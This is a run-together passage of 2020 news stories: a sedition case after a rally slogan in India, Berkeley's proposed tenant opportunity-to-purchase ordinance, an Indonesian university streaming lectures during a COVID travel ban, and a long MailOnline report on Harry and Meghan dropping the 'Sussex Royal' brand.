anti-CAA rally that was also attended by AIMIM chief Asaduddin Owaisi. The police have charged Leona with sedition under Section 124A, 153A and B (promoting enmity between different groups and imputations, assertions prejudicial to national integration). Moreover, she has also been sent to 14-day judicial custody. The 19-year old student had grabbed the mike and raised certain slogans during Owaisi's address, which led to Owaisi reprimanding her and the police taking her away. READ | 'She Said What He Likes To Hear' Says Naqvi On Activist's Pro-Pak Fracas At Owaisi's Event Owaisi condemns 'Pro-Pak' slogans Condemning Leona's statement, Asaduddin Owaisi demanded an inquiry into the matter by the organisers of the event. He also reaffirmed that he and his party were not related to or endorsed Leona's remark. The Hyderabad MP maintained that for AIMIM it was always 'Bharat Zindabad' and they had nothing to do with Pakistan. The BJP then targeted him for the incident. READ | Pro-Pak Sloganeer At Owaisi Rally Charged With Sedition, Sent To 14-day Judicial Custody READ | Unhappy With Pro-Pak Slogan, Amulya's Dad Nonetheless Refutes CM BSY's 'Maoist Link' Claim Berkeleys mayor proposed an ordinance Thursday that would give tenants the first right of refusal to purchase the home they live in if it goes up for sale. The legislation is the third such proposal introduced in the East Bay and statewide in recent weeks. Berkeleys Tenant Opportunity to Purchase Act would apply to all rental properties in the city except for owner-occupied, single-family homes and backyard or basement units known as accessory dwelling units, Mayor Jesse Arreguin said. Oaklands proposal, still being finalized, is expected to give landlords an incentive to sell to tenants. And a statewide proposal from state Sen. Nancy Skinner, D-Berkeley would give tenants across California the first right of refusal to buy foreclosed properties. The Berkeley City Council will vote on its policy on March 24, sooner than the two others, and Arreguin said approval cant happen soon enough. The severity of our housing crisis compels us to take bold and innovative action, he said at a news conference Thursday outside a home bought last summer by a nonprofit group on behalf of tenants. TOPA is about leveling the playing field for tenants and affordable housing nonprofits. Berkeleys ordinance would require landlords to offer to sell their property to their tenants before offering it to anyone else, and would allow affordable-housing developers to buy the property on behalf of the renter. If a tenant chose not to make an offer, then an affordable-housing developer could opt to buy the property before it was put on the market. A coalition representing about 1,500 property owners in Berkeley expressed concern Thursday that such a law would cause property values to go down. A spokeswoman for the Berkeley Rental Housing Coalition said she might sue if the ordinance passes. At the end of the day, this legislation is about constraint of sale, said Krista Gulbransen, executive director of the coalition. They say that the owner will be able to set the price, but the reality is that there will be a constraint of what that sales price is because it will never go out to the open market if the tenants want to purchase it. The proposal comes nearly a month after Oakland proposed its measure, which will be heard in committee next month. Although its language is not yet finalized, the measure is expected to give landlords an incentive to offer tenants first right of refusal to buy the property they live in. Its also expected to include vacant properties. Berkeleys does not. Berkeleys proposal also comes a day after Skinner introduced SB1079 in the state Senate. In addition to giving tenants the right of first refusal to buy foreclosed properties, Skinners bill would allow cities and counties to fine corporations if their properties sit vacant for more than 90 days. Local governments could seize the properties and use them for affordable housing if left empty during that time period. Berkeleys action comes in the wake of the overwhelming impact of Moms 4 Housing, a group of homeless mothers that in November took up residence in a vacant West Oakland home owned by a corporation that specializes in flipping houses. They said they moved in to highlight the states housing crisis and the role of corporations that bought properties during the foreclosure crisis. Berkeleys ordinance has been in the works since 2015. Dominique Walker, one of the mothers who lived in the West Oakland home, joined Arreguin Thursday and applauded the citys effort to create more tenant protections. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. It feels like this is the beginning of a movement, and its going to continue, Walker said. After sheriffs deputies evicted Walker and several other mothers from the West Oakland home, Walker moved to Berkeley. She now lives at a home bought last summer by the nonprofit Northern California Land Trust, which specializes in buying homes for the purpose of helping tenants remain in them. Arreguin applauded that arrangement and said that Bay Area homes are so expensive that even he, the mayor, cant afford to buy one. As a Millennial and as a lifelong renter, there is little hope for me to be able to afford a home here in Berkeley or in the Bay Area, Arreguin said. TOPA will create an opportunity for not just people like me but many people in our city to become first-time homeowners and to be able to plant roots and stay in this community. Editors note: A previous version of this story incorrectly stated that Berkeleys ordinance was the result of Moms 4 Housing. Sarah Ravani is a San Francisco Chronicle staff writer. Email: sravani@sfchronicle.com Twitter: @SarRavani Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Fri, February 21, 2020 09:39 691 7f440ff09e92db75a02bbad2065bdd7e 4 National Unpad,coronavirus,COVID-19,outbreak,travel-ban,online-course,Padjadjaran-University,West-Java Free The Indonesian literature department of Padjadjaran University (Unpad) in Bandung, West Java started streaming lectures on Tuesday for Chinese students trapped in their home country due to the governments travel ban to and from China. The government has imposed a travel restriction on air travel to and from China since Feb. 3 amid the COVID-19 outbreak a disease caused by the novel coronavirus. The travel ban hinders Chinese students from coming back to Unpad. Meanwhile, the university started the semester on Monday, department head Lina Meilinawati said on Thursday as quoted by kompas.com. She added that 72 Chinese students were enrolled in the Indonesian for Foreign Language Speakers (BIPA) degree program. The one-year program started in September last year. During the year-end semester break, 23 students had returned to China. Read also: Nearly 100 foreigners denied entry to Bali amid Chinas coronavirus travel ban Lina went on to say that the online lectures would facilitate students of Indonesian language and culture as well as those in the Mandarin program. Students can attend classes by watching the lectures and reading course material in the form of e-books. They are also allowed to submit assignments through email, Lina said The online classes will run until the government lifts the travel ban. Unpads international office head, Ronny, said the university would also facilitate the return of Indonesian students in China as part of its student exchange program. We will facilitate their return to Indonesia after coordinating with relevant authorities, he said. (gis) Advertisement The Duke and Duchess of Sussex have posted an extraordinary statement on their website claiming that the Queen does not own the word royal across the world after they were forced to drop their 'Sussex Royal' brand. Harry and Meghan put a new statement on their own website hours after announcing they would stop using the word 'royal' in their branding after the Spring - and they insisted on keeping their HRH titles even though they would not 'actively use' them. The statement struck a more hostile tone in some sections, and said that neither the government nor the Queen herself own the word 'royal' internationally - but they would nonetheless stop using the title. The statement read: 'While there is not any jurisdiction by The Monarchy or Cabinet Office over the use of the word "Royal" overseas, The Duke and Duchess of Sussex do not intend to use "Sussex Royal" or any iteration of the word "Royal" in any territory (either within the UK or otherwise) when the transition occurs Spring 2020.' They also appeared to complain that the palace is treating them differently to other family members. The statement continued: 'While there is precedent for other titled members of the Royal Family to seek employment outside of the institution, for The Duke and Duchess of Sussex, a 12-month review period has been put in place. 'Per the agreement The Duke and Duchess of Sussex understand that they are required to step back from Royal duties and not undertake representative duties on behalf of Her Majesty The Queen.' A statement issued by the palace last month stated that the Duke and Duchess of Sussex will no longer use their HRH titles. Meghan and Harry's statement states, however, that they will keep the prefixes His and Her Royal Highness. They go on to claim that the titles will not be used 'actively' when the couple cease being working members of the firm. Meghan and Harry say: 'As agreed and set out in January, The Duke and Duchess of Sussex will retain their HRH prefix, thereby formally remaining known as His Royal Highness The Duke of Sussex and Her Royal Highness The Duchess of Sussex. The Duke and Duchess of Sussex will no longer actively use their HRH titles as they will no longer be working members of the family as of Spring 2020.' A spokesman for the couple first issued a statement to the media about their use of royal titles shortly after 7.30pm on Friday but around 10pm they shared a much longer statement on their website via their Instagram story. The much-longer statement included the reference to the treatment of other royals, the fact that Harry is still sixth-in-line for the throne, will keep his military rank and that they are still entitled to public protection. They said they 'require effective security to protect them and their son' amid controversy surrounding the estimated 3million - 6million protection bill that would be split between taxpayers in Canada and the UK. Many sections of the later statement released on their website appear hostile in tone, especially when compared to the earlier statement which was released through a spokesman for the couple. Many royal experts believe the episode is another PR disaster for the couple. Richard Fitzwilliams, royal commentator and international editor of Who's Who, said about the lengthier statement on their website: 'It is completely unnecessary to add that. Simply because it underlines their differences with the palace in a way that is avoidable.' Prince Charles' biographer Tom Bower told MailOnline that the public is 'finally seeing Meghan's true nature and motives'. 'Her comments about the Queen's decision smacks of spiteful fury,' he said. 'I fear it will get worse.' The Duke and Duchess issued a statement - a shorter version first issued yesterday evening - which said that while neither the government nor the Queen herself own the word 'royal' internationally, they would stop using the title They said security 'to protect them and their son' is necessary amid controversy surrounding the estimated 3million - 6million protection bill that would be split between taxpayers in Canada and the UK Harry and Meghan imply that they are being treated differently to other members of the royal family who can 'seek employment outside of the institution' The statement makes it clear that Harry will maintain military titles including: the rank of Major, and honorary ranks of Lieutenant Commander, and Squadron Leader The statement states that the couple will be allowed to keep their patronages even though they won't be allowed to carry out official duties for the Queen The Duke and Duchess of Sussex have posted an extraordinary statement on their website claiming that the Queen does not own the word royal across the world after they were forced to drop their 'Sussex Royal' brand. Pictured: The Duke and Duchess arriving in Canada on Valentines Day Harry and Meghan's statement on their website in full The Duke and Duchess shared a link on their Instagram story to this much-longer statement on their website at around 11pm. It is agreed that the commencement of the revised role of The Duke and Duchess of Sussex will take effect Spring 2020 and undergo a 12 month review. The Royal Family respect and understand the wish of The Duke and Duchess of Sussex to live a more independent life as a family, by removing the supposed public interest justification for media intrusion into their lives. They remain a valued part of Her Majestys family. The Duke and Duchess of Sussex will become privately funded members of The Royal Family with permission to earn their own income and the ability to pursue their own private charitable interests. The preference of The Duke and Duchess of Sussex was to continue to represent and support Her Majesty The Queen albeit in a more limited capacity, while not drawing on the Sovereign Grant. While there is precedent for other titled members of the Royal Family to seek employment outside of the institution, for The Duke and Duchess of Sussex, a 12-month review period has been put in place. Per the agreement The Duke and Duchess of Sussex understand that they are required to step back from Royal duties and not undertake representative duties on behalf of Her Majesty The Queen. As agreed and set out in January, The Duke and Duchess of Sussex will retain their HRH prefix, thereby formally remaining known as His Royal Highness The Duke of Sussex and Her Royal Highness The Duchess of Sussex. The Duke and Duchess of Sussex will no longer actively use their HRH titles as they will no longer be working members of the family as of Spring 2020. As the grandson of Her Majesty and second son of The Prince of Wales, Prince Harry, The Duke of Sussex remains sixth in line to the throne of The British Monarchy and the Order of Precedence is unchanged. It was agreed that The Duke and Duchess will no longer be able to formally carry out official duties for The Queen or represent The Commonwealth, but they will, however, be allowed to maintain their patronages (including those that are classified as royal patronages). It is agreed that The Duke and Duchess of Sussex will continue to require effective security to protect them and their son. This is based on The Dukes public profile by virtue of being born into The Royal Family, his military service, the Duchess own independent profile, and the shared threat and risk level documented specifically over the last few years. No further details can be shared as this is classified information for safety reasons. In relation to the military, The Duke of Sussex will retain the rank of Major, and honorary ranks of Lieutenant Commander, and Squadron Leader. During this 12-month period of review, The Dukes official military appointments will not be used as they are in the gift of the Sovereign. No new appointments will be made to fill these roles before the 12-month review of the new arrangements is completed. While per the agreement, The Duke will not perform any official duties associated with these roles, given his dedication to the military community and ten years of service he will of course continue his unwavering support to the military community in a non-official capacity. As founder of the Invictus Games, The Duke will proudly continue supporting the military community around the world through the Invictus Games Foundation and The Endeavour Fund. Based on the Duke and Duchess of Sussexs desire to have a reduced role as members of The Royal Family, it was decided in January that their Institutional Office would have to be closed, given the primary funding mechanism for this official office at Buckingham Palace is from HRH The Prince of Wales. The Duke and Duchess shared this news with their team personally in January once they knew of the decision, and have worked closely with their staff to ensure a smooth transition for each of them. Over the last month and a half, The Duke and Duchess have remained actively involved in this process, which has understandably been saddening for The Duke and Duchess and their loyal staff, given the closeness of Their Royal Highnesses and their dedicated team. As The Duke and Duchess will no longer be considered full-time working Members of The Royal Family, it was agreed that use of the word Royal would need to be reviewed as it pertains to organisations associated with them in this new regard. More details on this below. As shared in early January on this website, The Duke and Duchess of Sussex do not plan to start a foundation, but rather intend to develop a new way to effect change and complement the efforts made by so many excellent foundations globally. The creation of this non-profit entity will be in addition to their cause driven work that they remain deeply committed to. While The Duke and Duchess are focused on plans to establish a new non-profit organisation, given the specific UK government rules surrounding use of the word Royal, it has been therefore agreed that their non-profit organisation will not utilise the name Sussex Royal or any other iteration of Royal. For the above reason, the trademark applications that had been filed as protective measures and that reflected the same standard trademarking requests as done for The Royal Foundation of The Duke and Duchess of Cambridge, have been removed. While there is not any jurisdiction by The Monarchy or Cabinet Office over the use of the word Royal overseas, The Duke and Duchess of Sussex do not intend to use Sussex Royal or any iteration of the word Royal in any territory (either within the UK or otherwise) when the transition occurs Spring 2020. As The Duke and Duchess of Sussex continue to develop their non-profit organisation and plan for their future, we hope that you use this site as the source for factual information. In Spring 2020, their digital channels will be refreshed as they introduce the next exciting phase to you. Advertisement They also confirmed that their office - based in Buckingham Palace - would be closed, a move they said was 'saddening for The Duke and Duchess and their loyal staff'. The couple also reiterate their plans to 'become privately-funded members of The Royal Family' and stated that Harry is still sixth in line to the throne. The statement also states that the couple will be allowed to keep their patronages even though they won't be allowed to carry out official duties for the Queen. It comes after Meghan was given until Easter to prove her mettle as Royal Patron of the National Theatre, according to a top West End producer. She was gifted the honour last January by the Queen, who had been the National's patron for 45 years. The statement also makes it clear that Harry will maintain military titles including: the rank of Major, and honorary ranks of Lieutenant Commander, and Squadron Leader. This contradicts an earlier statement from Buckingham Palace which stated that the couple 'are required to step back from Royal duties, including official military appointments.' The statement last night claimed his military appointments will not be used during the 12-month transition period. The announcement follows the Daily Mails revelation this week that Buckingham Palace had told Harry and Meghan not to employ the 'Sussex Royal' name when they are no longer working royals. It is a significant blow for the couple, who have spent tens of thousands of pounds building the Sussex Royal-branded website and creating a hugely popular Instagram feed. In an unprecedented legal move, the queen has drafted in top lawyers in a bid to enforce the ban. A string of trademark applications, covering items from clothing and books to stationery and bandanas, were withdrawn. It comes after MailOnline yesterday revealed that Meghan has told friends there is nothing 'legally stopping' her and Harry from using their Sussex Royal name. Meghan complained to her inner circle that using the name 'shouldn't even be an issue in the first place and it's not like they want to be in the business of selling T-shirts and pencils,' the insider said. They added: 'Meghan said she's done with the drama and has no room in her life for naysayers, and the same goes for Harry.' The friend added: 'Meghan said the global projects they are working on speak for themselves and they chose that name to protect the royal name, not profit off of it.' But, the insider added: 'Meghan has told her inner circle that their success is inevitable with or without their current brand name. 'She said regardless of the name, Harry and Archie have royal blood and no one can take that away. And that as a family, they will always be considered royalty.' Harry and Meghan are in the process of setting up a new charitable organisation after their split in August last year from the Royal Foundation Charity, which they shared with the Duke and Duchess of Cambridge. The pair wanted to use Sussex Royal branding but a new name will now have to be found. Meghan's friend added: 'Meghan said the name of their brand pales in comparison to the foundation they are building and the enormously positive impact it will have on people and the environment.' Losing the name is the latest humiliation for the couple who announced last month they were stepping down as senior royals and moving to North America. The pair have already agreed to give up their HRH titles for work purposes, and their official patronages on behalf of the queen, including Harrys honorary military titles. Complicated negotiations concluded that it was untenable for them to use the word royal in their branding. A spokesman for the Sussexes said last night: While the Duke and Duchess are focused on plans to establish a new non-profit organisation, given the specific UK Government rules surrounding use of the word Royal, it has been therefore agreed their non-profit organisation, when it is announced this spring, will not be named Sussex Royal Foundation. The Duke and Duchess of Sussex do not intend to use Sussex Royal in any territory post-spring 2020. Therefore trademark applications that were filed as protective measures, acting on advice from and following the same model for The Royal Foundation, have been removed. Harry and Meghan first began using Sussex Royal this time last year after they split their household from that of the Duke and Duchess of Cambridge, known as Kensington Royal. The Sussexes Instagram page, @sussexroyal, has amassed 11.2million followers the same number of fans as William and Kates account. But the Mail revealed this week that the Queen and senior officials had decided the couple would have to drop their name. A source told the Mail at the time: In many ways this is inevitable given their decision to step down. But it must surely come as a blow to the couple as they have invested everything into the Sussex Royal brand. The Queen would have had little choice, however. The Sussexes original plan of being half-in, half-out working royals was never going to work. Obviously, as the Queen has made clear, they are still much-loved members of her family. But if they arent carrying out official duties and are now seeking other commercial opportunities, they simply cannot be allowed to market themselves as royals. The statement Harry and Meghan sent to the media A spokesperson for Harry and Meghan first issued a statement to the media yesterday evening, around 7.30pm. 'As shared in early January on this website, The Duke and Duchess of Sussex do not plan to start a "foundation", but rather intend to develop a new way to effect change and complement the efforts made by so many excellent foundations globally. 'The creation of this non-profit entity will be in addition to their cause driven work that they remain deeply committed to. 'While The Duke and Duchess are focused on plans to establish a new non-profit organisation, given the specific UK government rules surrounding use of the word 'Royal', it has been therefore agreed that their non-profit organisation will not utilise the name "Sussex Royal" or any other iteration of "Royal". 'For the above reason, the trademark applications that had been filed as protective measures and that reflected the same standard trademarking requests as done for The Royal Foundation of The Duke and Duchess of Cambridge, have been removed. 'While there is not any jurisdiction by The Monarchy or Cabinet Office over the use of the word 'Royal' overseas, The Duke and Duchess of Sussex do not intend to use "Sussex Royal" or any iteration of the word "Royal" in any territory (either within the UK or otherwise) when the transition occurs spring 2020. 'As The Duke and Duchess of Sussex continue to develop their non-profit organisation and plan for their future, we hope that you use this site as the source for factual information. 'In Spring 2020, their digital channels will be refreshed as they introduce the next exciting phase to you. 'The Duke and Duchess of Sussex eagerly await the opportunity to share more with you and greatly appreciate your support!' Advertisement Harry and Meghan announced on Wednesday that they will step down as working royals in less than six weeks and close their Buckingham Palace office. The statement went on: 'Based on the Duke and Duchess of Sussexs desire to have a reduced role as members of The Royal Family, it was decided in January that their Institutional Office would have to be closed, given the primary funding mechanism for this official office at Buckingham Palace is from HRH The Prince of Wales. 'The Duke and Duchess shared this news with their team personally in January once they knew of the decision, and have worked closely with their staff to ensure a smooth transition for each of them. 'Over the last month and a half, The Duke and Duchess have remained actively involved in this process, which has understandably been saddening for The Duke and Duchess and their loyal staff, given the closeness of Their Royal Highnesses and their dedicated team.' They will take part in six more engagements before formally withdrawing from frontline roles on March 31. Their final official engagement is expected to be on March 9, when they will join the Queen at Westminster Abbey to mark Commonwealth Day. The statement also addressed the controversy surrounding the cost of the Duke and Duchess's security. Protection for Meghan and Harry is estimated to cost taxpayers in Canada and the UK between 3million and 6million a year, as staff work round the clock two weeks at a time. The statement read: 'It is agreed that The Duke and Duchess of Sussex will continue to require effective security to protect them and their son. 'This is based on The Dukes public profile by virtue of being born into The Royal Family, his military service, the Duchess own independent profile, and the shared threat and risk level documented specifically over the last few years. 'No further details can be shared as this is classified information for safety reasons.' The statement also spoke about the couple's desire for financial independence. They said: 'The Duke and Duchess of Sussex will become privately funded members of The Royal Family with permission to earn their own income and the ability to pursue their own private charitable interests. 'The preference of The Duke and Duchess of Sussex was to continue to represent and support Her Majesty The Queen albeit in a more limited capacity, while not drawing on the Sovereign Grant.' The couple insist that it is their 'preference' to 'continue to represent and support Her Majesty The Queen albeit in a more limited capacity, while not drawing on the Sovereign Grant' The couple plan to relaunch their careers potentially earning millions of pounds a year - in a bid to 'become financially independent' The line of the succession to the monarchy is: Prince of Wales followed by Prince William, then Prince George, Princess Charlotte, Prince Louis finally followed by Prince Harry The statement said that they would not continue to use the word 'royal' in their branding, even though they are technically able to do so The Daily Mail revealed this week that Buckingham Palace had told Harry and Meghan not to employ the name when they are no longer working royals While the Duke and Duchess plan to champion a charitable foundation, it was feared they could exploit the royal brand to secure lucrative commercial deals (Sussex Royal logo pictured) The couple's decision to step down as senior working royals and pursue 'financial independence' put a spanner in the Sussex Royal works Harry and Meghan intend to split their time between North America and the UK. They are planning to base themselves in Canada, where the duchess lived while starring in TV drama Suits. The couple are also said to be looking for a property in Los Angeles so they can spend time with Meghans mother Doria. They will no longer use their HRH titles, but they can keep their personal associations with charities and other organisations. The Sussexes appeared at a conference in Miami earlier this month organised by banking giant JP Morgan in what was their first public sighting since their shock withdrawal as senior royals. Their appearance at the exclusive summit, where Harry gave a speech, could have earned them up to 775,000. A source said the duke opened up to the wealthy crowd about the childhood trauma of losing his mother. How does what Prince Harry and Meghan Markle say about their future differ from the Queen? The subtle (and not so subtle) contrasts in how both sides view the split By Jemma Carr for MailOnline The Duke and Duchess of Sussex released a sour-sounding statement after they were forced to drop their 'Sussex Royal' brand last night. In the extraordinary statement that appeared on their website, Meghan and Harry claimed the Queen does not have 'jurisdiction' over the lucrative term 'royal' overseas. They also appeared to complain that the palace is treating them differently to other family members. Here, MailOnline examines what the Sussexes said about what they called their 'Spring 2020 transition' and examined how it compares to information already released by the palace. The Duke and Duchess of Sussex released a sour-sounding statement after they were forced to drop their 'Sussex Royal' brand last night. Here, MailOnline examines what the Sussexes said about what they called their 'Spring 2020 transition' and examined how it compares to information already released by the palace A statement from Buckingham Palace announcing Megxit in January said: 'The Sussexes will not use their HRH titles as they are no longer working members of the Royal Family.' In the statement last night, the Duke and Duchess of Sussex said: 'As agreed and set out in January, The Duke and Duchess of Sussex will retain their HRH prefix, thereby formally remaining known as His Royal Highness The Duke of Sussex and Her Royal Highness The Duchess of Sussex. 'The Duke and Duchess of Sussex will no longer actively use their HRH titles as they will no longer be working members of the family as of Spring 2020.' The palace statement, issued last month, clearly states that the Duke and Duchess of Sussex will not use their HRH titles. Meghan and Harry's statement states, however, that they will keep the prefixes His and Her Royal Highness. They go on to claim that the titles will not be used 'actively' when the couple cease being working members of the firm. The statement from Buckingham Palace in January said: 'They will no longer receive public funds for Royal duties. With The Queens blessing, the Sussexes will continue to maintain their private patronages and associations. 'While they can no longer formally represent The Queen, the Sussexes have made clear that everything they do will continue to uphold the values of Her Majesty.' In the statement last night, the Duke and Duchess of Sussex said: 'The preference of The Duke and Duchess of Sussex was to continue to represent and support Her Majesty The Queen albeit in a more limited capacity, while not drawing on the Sovereign Grant. 'While there is precedent for other titled members of the Royal Family to seek employment outside of the institution, for The Duke and Duchess of Sussex, a 12-month review period has been put in place.' It later adds: 'It was agreed that The Duke and Duchess will no longer be able to formally carry out "official duties" for The Queen or represent The Commonwealth, but they will, however, be allowed to maintain their patronages (including those that are classified as royal patronages).' The Buckingham Palace statement from January is clear in its assertion that the Duke and Duchess will not receive any public fund for royal duties. This is repeated in Harry and Meghan's statement but it starts by stating that the Duke and Duchess did want to represent the Queen in a 'more limited capacity'. The Sussexes state that they have been subject to a '12-month review period' even though 'there is precedent for other titled members of the Royal Family to seek employment outside of the institution.' A statement from Buckingham Palace in January said: 'As agreed in this new arrangement, they understand that they are required to step back from Royal duties, including official military appointments. They will no longer receive public funds for Royal duties.' In the statement last night, the Duke and Duchess of Sussex said: 'In relation to the military, The Duke of Sussex will retain the rank of Major, and honorary ranks of Lieutenant Commander, and Squadron Leader. During this 12-month period of review, The Dukes official military appointments will not be used as they are in the gift of the Sovereign. 'No new appointments will be made to fill these roles before the 12-month review of the new arrangements is completed. 'While per the agreement, The Duke will not perform any official duties associated with these roles, given his dedication to the military community and ten years of service he will of course continue his unwavering support to the military community in a non-official capacity.' The Duke and Duchess of Sussexes statement lists all the military ranks The Duke of Sussex will retain - even though his military appointments will not be used during the 12-month transition period. In the statement published on January 18, the Queen said: 'Harry, Meghan and Archie will always be much loved members of my family. 'I recognise the challenges they have experienced as a result of intense scrutiny over the last two years and support their wish for a more independent life. In the statement last night, the Duke and Duchess of Sussex said: 'The Royal Family respect and understand the wish of The Duke and Duchess of Sussex to live a more independent life as a family, by removing the supposed public interest justification for media intrusion into their lives. 'They remain a valued part of Her Majestys family.' The Sussexes repeat that they are still part of 'Her Majestys family.' The Queen says the Duke and Duchess have experienced 'intense scrutiny' in the past two years. The royal couple instead choose the words 'media intrusion', a harsher and more divisive stance. A statement from Buckingham Palace in January said: 'Buckingham Palace does not comment on the details of security arrangements. There are well established independent processes to determine the need for publicly-funded security.' In the statement last night, the Duke and Duchess of Sussex said: 'It is agreed that The Duke and Duchess of Sussex will continue to require effective security to protect them and their son. 'This is based on The Dukes public profile by virtue of being born into The Royal Family, his military service, the Duchess own independent profile, and the shared threat and risk level documented specifically over the last few years.' The Sussexes stated that they 'require effective security' to protect them amid heightened public scrutiny about who will foot the estimated 3million to 6million bill. In a statement in January, the palace refused to comment on security arrangements all together. In a statement, the palace said: Due to the fact that the Duke and Duchess will not be undertaking official engagements in support of the Queen, which are funded by the Sovereign Grant, an office at Buckingham Palace was no longer needed. 'It is important to note that the Duke and Duchess of Sussex will be in the United Kingdom regularly. In the statement last night, the Duke and Duchess of Sussex said: 'Based on the Duke and Duchess of Sussexs desire to have a reduced role as members of The Royal Family, it was decided in January that their Institutional Office would have to be closed, given the primary funding mechanism for this official office at Buckingham Palace is from HRH The Prince of Wales. 'The Duke and Duchess shared this news with their team personally in January once they knew of the decision, and have worked closely with their staff to ensure a smooth transition for each of them. 'Over the last month and a half, The Duke and Duchess have remained actively involved in this process, which has understandably been saddening for The Duke and Duchess and their loyal staff, given the closeness of Their Royal Highnesses and their dedicated team.' The Duke and Duchess's statement is much more emotional than the palace's initial one. Harry and Meghan stated that having to shut their London office was 'saddening' and explained that they have been actively involved in the process. They also said that they told they told 'their team personally' last month. In a statement, the palace said: 'As The Duke and Duchess are stepping back as senior members of the Royal Family, and will work towards financial independence, use of the word royal, in this context, needed to be reviewed. Discussions are still ongoing, however, a change will be announced alongside the launch of their new non-profit organisation. In the statement last night, the Duke and Duchess of Sussex said: 'As The Duke and Duchess will no longer be considered full-time working Members of The Royal Family, it was agreed that use of the word Royal would need to be reviewed as it pertains to organisations associated with them in this new regard. 'As shared in early January on this website, The Duke and Duchess of Sussex do not plan to start a foundation, but rather intend to develop a new way to effect change and complement the efforts made by so many excellent foundations globally. 'The creation of this non-profit entity will be in addition to their cause driven work that they remain deeply committed to. 'While The Duke and Duchess are focused on plans to establish a new non-profit organisation, given the specific UK government rules surrounding use of the word Royal, it has been therefore agreed that their non-profit organisation will not utilise the name Sussex Royal or any other iteration of "Royal".' It later added: 'While there is not any jurisdiction by The Monarchy or Cabinet Office over the use of the word Royal overseas, The Duke and Duchess of Sussex do not intend to use Sussex Royal or any iteration of the word Royal in any territory (either within the UK or otherwise) when the transition occurs Spring 2020.' The Duke and Duchess agreed that their new charitable organisation would not use the word royal, following on from the Palaces statement in January. They did insist, however, that they did not have to do this as the Queen has no 'jurisdiction' over the term abroad. What does each paragraph of Harry and Meghan's statement really mean? MailOnline breaks down the couple's announcement they will drop royal By Jemma Carr for MailOnline The Duke and Duchess of Sussex released an extraordinary statement on their website after they were forced to drop their 'Sussex Royal' brand last night. In the sour-sounding statement Meghan and Harry claimed the Queen does not have 'jurisdiction' over the lucrative term overseas. They also appeared to complain that the palace is treating them differently to other family members. Here, MailOnline decodes what each carefully-chosen phrase means. There is 'not any jurisdiction by The Monarchy or Cabinet Office over the use of the word "Royal" overseas': Harry and Meghan make it perfectly clear that they could use the term 'Royal' as part of their branding overseas if they wanted to. However, following their transition this Spring, they will drop the term on request of the Queen. The Daily Mail first reported that the Queen had asked Harry and Meghan not to employ the 'Sussex Royal' name when they are no longer working royals this week. It is a significant blow for the couple, who have spent tens of thousands of pounds building the Sussex Royal-branded website and creating a hugely popular Instagram feed. In an unprecedented legal move, the queen has drafted in top lawyers in a bid to enforce the ban. A string of trademark applications, covering items from clothing and books to stationery and bandanas, were withdrawn. It comes after MailOnline yesterday revealed that Meghan has told friends there is nothing 'legally stopping' her and Harry from using their Sussex Royal name. Meghan complained to her inner circle that using the name 'shouldn't even be an issue in the first place and it's not like they want to be in the business of selling T-shirts and pencils,' the insider said. They added: 'Meghan said she's done with the drama and has no room in her life for naysayers, and the same goes for Harry.' The friend added: 'Meghan said the global projects they are working on speak for themselves and they chose that name to protect the royal name, not profit off of it.' But, the insider added: 'Meghan has told her inner circle that their success is inevitable with or without their current brand name. 'She said regardless of the name, Harry and Archie have royal blood and no one can take that away. And that as a family, they will always be considered royalty.' 'There is precedent for other titled members of the Royal Family to seek employment outside of the institution': Harry and Meghan imply that they are being treated differently to other members of the royal family who can 'seek employment outside of the institution'. They say the guidelines are different for them a 12-month review period has been put in place. They do insist, however, that it is their 'preference' to 'continue to represent and support Her Majesty The Queen albeit in a more limited capacity, while not drawing on the Sovereign Grant'. 'The Duke and Duchess of Sussex will continue to require effective security to protect them and their son': The couple also insisted that security 'to protect them and their son' is necessary amid controversy surrounding protection costs. Protection for Meghan and Harry is estimated to cost taxpayers in Canada and the UK between 3million and 6million a year, as staff work round the clock two weeks at a time. The statement read: 'It is agreed that The Duke and Duchess of Sussex will continue to require effective security to protect them and their son. 'This is based on The Dukes public profile by virtue of being born into The Royal Family, his military service, the Duchess own independent profile, and the shared threat and risk level documented specifically over the last few years. 'No further details can be shared as this is classified information for safety reasons.' The couple boldly insist that security is necessary, putting a swift and sudden end stop to the naysayers. However, they refuse to provide details about what forms this security will take, claiming doing so would be a breach of 'safety'. By saying that no more details 'can' be shared, the couple imply that they want to give more information but are unable to. 'The Duke and Duchess of Sussex will become privately funded members of The Royal Family with permission to earn their own income and the ability to pursue their own private charitable interests': Remaining financially independent has been a key Megxit focal point. The couple plan to relaunch their careers potentially earning millions of pounds a year - in a bid to 'become financially independent'. This will allow them to give up funding from the Sovereign Grant the money taxpayers give to the Queen every year and launch themselves onto the international celebrity circuit. Earlier this year they said they had 'made the choice' to 'no longer receive funding' from the Sovereign Grant, adding: 'Their Royal Highnesses prefer to release this financial tie.' Harry and Meghan's first post-Megxit appearance earlier this month was at an event held by US banking giant JP Morgan in Miami - an organisation which has been embroiled in a succession of controversies. Harry is still 'sixth in line to the throne': The statement spells out the fact that Harry is still sixth in line to the throne. The line of the succession to the monarchy is: Prince of Wales followed by Prince William, then Prince George, Princess Charlotte, Prince Louis finally followed by Prince Harry. The statement reads: 'As the grandson of Her Majesty and second son of The Prince of Wales, Prince Harry, The Duke of Sussex remains sixth in line to the throne of The British Monarchy and the Order of Precedence is unchanged.' They will 'be allowed to maintain their patronages': The statement states that the couple will be allowed to keep their patronages even though they won't be allowed to carry out official duties for the Queen. By using the word 'allowed' they put the onus on the Queen, who the couple make clear has given her express permission. It comes after Meghan was given until Easter to prove her mettle as Royal Patron of the National Theatre, according to a top West End producer. She was gifted the honour last January by the Queen, who had been the National's patron for 45 years. Nica Burns - who co-owns The Nimax Group, which comprises six London West End theatres including The Palace, the Apollo and the Vaudeville - has said that the Duchess should not hold the position indefinitely. Ms Burns said: 'I think we should give Meghan until Easter to say what she thinks is possible with her patronage.' 'We have to give her a chance, forget who she is and give her some space. 'If she is not going to be doing any work with the National, then she should step down. But as she is a role model, we would rather she didn't.' The Duke and Duchess's statement read: 'It was agreed that The Duke and Duchess will no longer be able to formally carry out "official duties" for The Queen or represent The Commonwealth, but they will, however, be allowed to maintain their patronages (including those that are classified as royal patronages).' Harry 'will retain the rank of Major, and honorary ranks of Lieutenant Commander, and Squadron Leader' The statement makes it clear that Harry will maintain military titles including: the rank of Major, and honorary ranks of Lieutenant Commander, and Squadron Leader. It was earlier revealed that Harry is being stripped of a 